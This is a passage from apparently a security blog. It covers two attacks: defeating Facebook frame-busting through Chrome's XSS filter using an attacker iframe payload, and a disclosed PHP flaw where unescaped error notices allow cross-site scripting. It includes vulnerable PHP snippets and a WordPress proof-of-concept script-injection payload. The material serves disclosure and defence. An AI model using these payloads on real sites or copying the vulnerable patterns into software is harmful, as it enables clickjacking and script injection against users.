This enables the framing page to specifically target a snippet containing the frame busting code, leaving all the other functionalities intact. XSSAuditor can be used to target external scripts as well, but the filter will only disable targeted scripts loaded from a separate origin.

Example. victim frame busting code:

1
2
3
if (top != self) {
top.location=self.location;
}

Attacker:

1
2
<iframe src="http://www.victim.com/?
v=if (top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">

Here the Google Chrome XSS filter will disable the frame busting script, but will leave all other scripts on the page operational. Consequently, the framed page will function properly, suggesting that the attack on Google Chrome is more effective than the attack on IE8.

So by adding the randomized comment, Facebook prevents an attacker from being able to include the clickjacking prevention JavaScript in the URL, which makes it impossible to disable the clickjacking protection via XSSAuditor.

Conclusion

I’d like to thank the Facebook Security Team for their quick responses to my reports. I’d also like to thank them for organizing this security bug bounty program and for supporting responsible disclosure in general.

2011
08.18

Summary

A PHP application that displays error reporting notices and contains specific code patterns may be vulnerable to a cross-site scripting attack. I’ve confirmed this issue on PHP 5.2.17 and a snapshot of PHP 5.4 (I assume it affects other versions of PHP as well). This issue was filed as Sec Bug #55139 back in July, but it was recently closed as “bogus” by a member of the PHP team, making the report public.

How does it work?

When display_errors is enabled and a PHP notice is generated, none of the text of the notice is HTML-encoded. That means if an attacker can control part of the notice text, they can inject arbitrary HTML and JavaScript into the page. Certain specific coding patterns make such an attack possible.

For example, the “Undefined index” notice does not properly sanitize the name of the index. That means an application containing code similar to the following would be vulnerable to cross-site scripting:

1
2
3
4
<?php  
error_reporting(E_ALL);
$array = array();
echo $array[$_GET['index']];

You can test this yourself: upload that script and try browsing to file.php?index=<s>test</s>. You’ll see strikethrough text instead of the literal string <s>test</s>.

This also holds true for less common coding patterns and notices. For example:

1
2
3
4
5
<?php
// Undefined function. this is included for completeness:
// if you have code that does this, you have much larger problems
error_reporting(E_ALL);
echo $_GET['funct']();

1
2
3
4
<?php
// undefined variable
error_reporting(E_ALL);
echo $$_GET['var'];

1
2
3
4
5
<?php
// defining a constant twice
error_reporting(E_ALL);
define($_GET['cons'], 'a');
define($_GET['cons'], 'a');

But display_errors needs to be enabled!

Yes, display_errors needs to be enabled. Yes, that means your server is potentially leaking sensitive information (including absolute paths). Yes, that’s not something you should be doing on a production server. But under normal circumstances, that’s the extent of any security issues. A sysadmin or a developer who makes the decision to enable display_errors has no expectation that doing so also (potentially) opens up their site to cross-site scripting.

Lets also not forget that display_errors may be enabled in development environments. If an attacker can identify a vulnerable page and can figure out the URL for a working development environment, the attacker can send that URL, modified to exploit the cross-site scripting vulnerability, to a developer. If it gets clicked on, the development environment can become compromised.

Does code like that exist in the real world?

Yes! ;-)

As a proof of concept, I identified a location in Wordpress (/wp-admin/upload.php) containing a vulnerable code pattern. It looked like:

1
2
3
4
5
<?php
if ( isset($_GET['message']) && (int) $_GET['message'] ) {
   $message = $messages[$_GET['message']];
   $_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
}

In that case, an attacker could supply $_GET['message'] as 1<script>alert(1)</script>, triggering an alert box.

This issue would not be feasible to exploit on most installations: Wordpress explicitly excludes E_NOTICE from error_reporting unless a special debug mode is enabled. However, the code has been updated in SVN and is no longer vulnerable. I want to extend my thanks to the Wordpress developers for addressing this issue. :-)

Does it only affect PHP notices?

Under certain situations, no!

Greg asked in the comments what the impact of the html_errors INI option is. As it turns out, when that option is disabled, examples that I had previously tested become vulnerable. Previously, only notices appeared unsanitized. When that option is disabled, every message (warnings, fatal errors, etc) appears to end up unsanitized. Very good finding. :)

Conclusion

Don’t enable display_errors in production: it can now cause cross-site scripting as well as information disclosure.